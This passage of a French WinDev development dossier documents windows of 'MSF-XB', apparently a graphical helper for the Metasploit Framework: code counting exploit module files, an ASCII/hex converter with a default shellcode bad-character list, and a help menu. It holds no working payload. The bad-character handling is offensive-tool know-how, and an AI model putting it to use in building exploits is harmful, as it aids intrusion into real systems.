Titre FR,GB: Column2Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤999 999 999 999 999Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 972: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 978

MSFXB_Stats Code

Initialisation de MSFXB_StatssCheminExploits is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

sCheminExploits=gsCheminMSF3 + "home\framework\modules\exploits\" //Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

SINONsCheminExploits=gsCheminMSF3 + "framework\modules\exploits\" //Chemin MSF3 - par défaut: "C:\Program Files\Metasploit\Framework3\"

FINADirectory, ResListDirectory are strings

// Declare and initialize the variablesReadOnlyFile is int // Number of files meeting the criteriaNbrDocFile is int // Number of "*.DOC" type filesNbrDocFile = 0

ResListDirectory = fListDirectory(sCheminExploits)// For each directory foundFOR EACH STRING ADirectory OF ResListDirectory SEPARATED BY CR

// Add the directory to DirTableSI ChaîneOccurrence(ADirectory, ".svn")=0 ALORS

SearchCriterion is string=ADirectory// Add the "\*.rb" criteria to the end of the selected directorySearchCriterion +="\*.rb"// List of "*.DOC" filesNbrDocFile = fListFile(SearchCriterion, "FileAttribute", &ReadOnlyFile)// Display the number of files matching the criteria//Info("There are "+ReadOnlyFile+" read-only files in "+NbrDocFile+" listed files")

TableAdd(TABLE_Exploits, Replace(ADirectory, sCheminExploits, "")+TAB+NbrDocFile)FIN

END

Page 973: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 979

MSFXB_Stats Code des champs

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 974: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 980

MSFXB_Stats Procédures

Procédure locale FileAttribute// Summary: <specify the procedure action>// Syntax://[ <Result> = ] FileAttribute (<Directory>, <Name>, <Change>, <NbrDocFile>)//// Parameters:// Directory: <specify the role of Directory>// Name: <specify the role of Name>// Change: <specify the role of Change>// NbrDocFile: <specify the role of NbrDocFile>// Return Value:// boolean: // None//// For instance:// Indicate an example.//// Local procedure called by fListFilePROCEDURE FileAttribute(Directory, Name, Change, NbrDocFile)// Declare the variableReadOnlyFile is int// Read-only files ?//IF Position(fAttribute(Directory+Name), "R") <> 0 THEN// Transfer(&ReadOnlyFile, NbrDocFile, 4)

ReadOnlyFile++// Transfer(NbrDocFile, &ReadOnlyFile, 4)// // Display the name of the file in "FileList"// ListAdd("FileList", Directory+Name)//ENDRESULT True

Page 975: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 981

TABLE_ASCII Image

Page 976: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 982

TABLE_ASCII Informations générales

TABLE_ASCII

Fichier physique G:\Mes Projets\MSF-XB11\TABLE_ASCII.wdw

Crée par JA

Date de création 23/09/2006 14:37:13

Dernière modification par JA-PSI

Date dernière modification 22/07/2008 08:01:13

TitreFR: Table ASCII - MSF-XB - https://www.securinfos.infoGB: ASCII Table - MSF-XB - https://www.securinfos.info/english

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 816

Hauteur 633

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droit

Page 977: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 983

Curseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 978: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 984

Statistiques de la fenêtreChamp de saisie 2 Libellé 1

Bouton 5 Image 4

Superchamp 1 Option de menu 1

Nombre d'éléments dans la fenêtre : 14

TABLE_ASCII Informations sur les champs

Fenêtre : TABLE_ASCIIChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

BADCHARS1 17 580 338 22 0 Actif Texte

BADCHARS2 420 580 379 22 0 Actif Texte

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTitle 9 4 667 18 0 Actif Gauche Centre

Page 979: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 985

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Button1 0 -54 80 24 0 Actif Aide

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

IMG_ASCII2HEX 370 580 19 22 0 Actif

IMG_HEX2ASCII 395 580 19 22 0 Actif

IMG_Image1 81 82 718 492 0 Actif

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 682 1 128 18 0 Actif

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 766 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 716 0 26 19 0 Actif Normal

BTN_Syst_Maximize 742 0 25 19 0 Actif Normal

BTN_UMC 682 0 24 19 0 Actif Normal

Page 980: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 986

Fenêtre : TABLE_ASCIIChamp de saisie : BADCHARS1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Bad CharsOrdre navigation 38Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 81Largeur interne 274

Bulle d'aide FR: Valeur HexadécimaleGB: Hex Value

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Page 981: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 987

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : BADCHARS2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Bad CharsOrdre navigation 39Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 475Largeur interne 324

Bulle d'aide FR,GB: ASCIINuméro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus Oui

Page 982: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 988

Historique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 40Curseur survol 0On/Off Non

Altitude 9

Numéro aide 10

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 983: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 989

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 984: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 990

Image : IMG_ASCII2HEX

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\VST01310-16-5.pngCurseur survol 31000Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 8

Bulle d'aide FR: ConvertirGB: ASCII2HEX

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 985: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 991

Image : IMG_HEX2ASCII

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\VST01330-16-5.pngCurseur survol 31000Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 7

Bulle d'aide FR,GB: HEX2ASCIINuméro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : IMG_Image1

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\ASCII.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. Gauche

Page 986: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 992

Cadrage vert. HautAltitude 4

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Table ASCII - MSF-XB - https://www.securinfos.infoGB: ASCII Table - MSF-XB - https://www.securinfos.info/english

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 987: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 993

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 41

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: Fermer

Page 988: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 994

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Page 989: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 995

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1

Page 990: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 996

Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 991: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 997

TABLE_ASCII Code

Déclarations globales de TABLE_ASCIIPROCEDURE TABLE_ASCII(gBADCHARS="\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09")

Initialisation de TABLE_ASCIIBADCHARS1=gBADCHARS

HEX2ASCII(BADCHARS1, BADCHARS2, 1)

Page 992: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 998

TABLE_ASCII Code des champs

Clic sur BTN_Button1// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur IMG_ASCII2HEXBADCHARS1=""ASCII2HEX(BADCHARS2, BADCHARS1)

Clic sur IMG_HEX2ASCIIBADCHARS2=""BADCHARS2= HEX2ASCII(BADCHARS1, BADCHARS2, 1)

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 993: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 999

FI_MenuHWinDevHelp Image

FI_MenuHWinDevHelp Informations générales

FI_MenuHWinDevHelp

Fichier physique G:\Mes Projets\MSF-XB11\FI_MenuHWinDevHelp.WDW

Crée par JA

Date de création 13/08/2007 10:44:38

Dernière modification par JA-PSI

Page 994: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1000

Date dernière modification 22/07/2008 08:01:09

Titre FR,GB:

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 437

Hauteur 199

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDI

Page 995: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1001

Pos. X Menu 6Pos. Y Menu 28M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: IconeImage poignée

Statistiques de la fenêtreLibellé 1 Fenêtre Interne 1

Option de menu 22

Nombre d'éléments dans la fenêtre : 24

FI_MenuHWinDevHelp Informations sur les champs

Page 996: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1002

Fenêtre : FI_MenuHWinDevHelpFenêtre Interne

Position Position Largeur Hauteur Plan Visib Etat initial Touc

FI_MenuHWinDevHelp 0 0 437 199 0

Fenêtre Interne : FI_MenuHWinDevHelpLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

Cette_fenêtre_interne_contient 0 0 314 92 0 Actif Gauche Haut

Fenêtre : FI_MenuHWinDevHelpFenêtre Interne : FI_MenuHWinDevHelp

Note pour le dossier

FR,GB: FR,GB:

Menu contextuel MENU_WinDevHelp

Numéro aide 0

Gabarit destination Oui

Ctx. HF indép. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 997: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1003

Fenêtre Interne : FI_MenuHWinDevHelpLibellé : FI_MenuHWinDevHelp.Cette_fenêtre_interne_contient

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Cette fenêtre interne contient le menu « ? ».

Pour éditer le menu : - Faire un clic droit sur la fenêtre. - Choisir l’option « Description » dans le menu contextuel. - Activer l’onglet « IHM ». - Cliquer sur le bouton à droite de la combo « Menu Ctx ».

GB: «?» menu found in this internal window.

To edit the menu: - Right-click the window. - Choose «Description» from the popup menu. - Enable the «GUI» tab. - Click the button to the right of «Popup Menu» combo box.

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 998: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1004

FI_MenuHWinDevHelp Informations sur les menus

Menu contextuel : 'MENU_WinDevHelp'

Nom des optionsMENU_INTERROGATION_14 (2)MENU_INTERROGATION_1 (3)MENU_INTERROGATION_2 (4)------------MENU_INTERROGATION_3 (5)MENU_INTERROGATION_4 (6)MENU_INTERROGATION_5 (7)MENU_INTERROGATION_6 (8)------------MENU_INTERROGATION_7 (9)MENU_INTERROGATION_8 (10)------------MENU_INTERROGATION_9 (11)MENU_INTERROGATION_15 (12)------------MENU_INTERROGATION_10 (13)------------MENU_INTERROGATION_11 (14)MENU_INTERROGATION_12 (15)MENU_INTERROGATION_13 (16)

Page 999: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 1005

Libellé des options : FrançaisNew in the versionApplicationHelp F1Help for AAF (Automatic Application Features)------------Optimize the access speed to the databaseSave the data...Save the application...Repair the database------------Create, modify a report...Create, modify a query...------------Send feedback, notify incidents, create a business rule...See the outgoing requests------------Application Update------------License AgreementSaving the product...About...

Libellé des options : AnglaisNew in the versionApplication HelpHelp for AAF (Automatic Application Features)------------Optimize the access speed to the databaseSave the data...Save the application...Repair the database------------Create, modify a report...Create, modify a query...------------Send feedback, notify incidents, create a business rule...See the outgoing requests------------Application Update------------License AgreementSaving the product...About...

Page 1000: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 1006

FI_MenuHWinDevHelp Code des champs

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_1// Opens the help file corresponding to the current languageSWITCH Nation()

CASE nationFrench: ShellExecute("Help MSF-XB005.chm")CASE nationEnglish: ShellExecute("Help MSF-XB003.chm")

END

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_10CCMenu.LiveUpdate()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_11CCMenu.Licence()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_12// For example: ShellExecute("www.site.us")ShellExecute("https://www.securinfos.info")

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_13Open(Apropos)

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_14// retrieve the name of the help file containing the new features of the versionsHelpName is string = ProjectInfo(piNewFeaturesHelpName)// retrieve the contextnContext is int = ProjectInfo(piNewFeaturesHelpContext)

// opens the help page of new featuresWHelp(sHelpName,nContext)

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_15

Page 1001: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 1007

// indicates the path of the data filesCCFeedback.Configure(fbCheminDonneesCC,"C:\WinDev 10\Personnel\Centre de Controle\")

// If the user is already identified in your application, // Pass this login in parameter to pFeedback.ViewRequest so that the user does not have to identifier againsLogin is string = ""CCFeedback.ConsultationDemandes(sLogin)

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_2CCMenu.AideFAA()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_3CCMenu.OptimiseAccèsDonnées()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_4CCMenu.SauvegardeDonnées()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_5CCMenu.SauvegardeAppli()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_6CCMenu.RéparationDonnées()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_7RunReportsAndQueries()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_8RunReportsAndQueries()

Sélection du menu de MENU_WinDevHelp.MENU_INTERROGATION_9// Email address where the incidents must be sent// ProjetInfo(piApplicationEmail) returns the email address entered in the wizard for creating the? menu,// or in the wizard for creating the executable// You can replace this value to modify the email address.sEmail is string = ProjetInfo(piApplicationEmail)

Page 1002: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 1008

CCFeedback.Configure(fbEmail,sEmail)

// Indicate the path of the data filesCCFeedback.Configure(fbCheminDonneesCC,"C:\WinDev 10\Personnel\Centre de Controle\")

// Create and send the new incidentCCFeedback.NouvelleDemande()

Page 1003: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1009

Partie 5Page

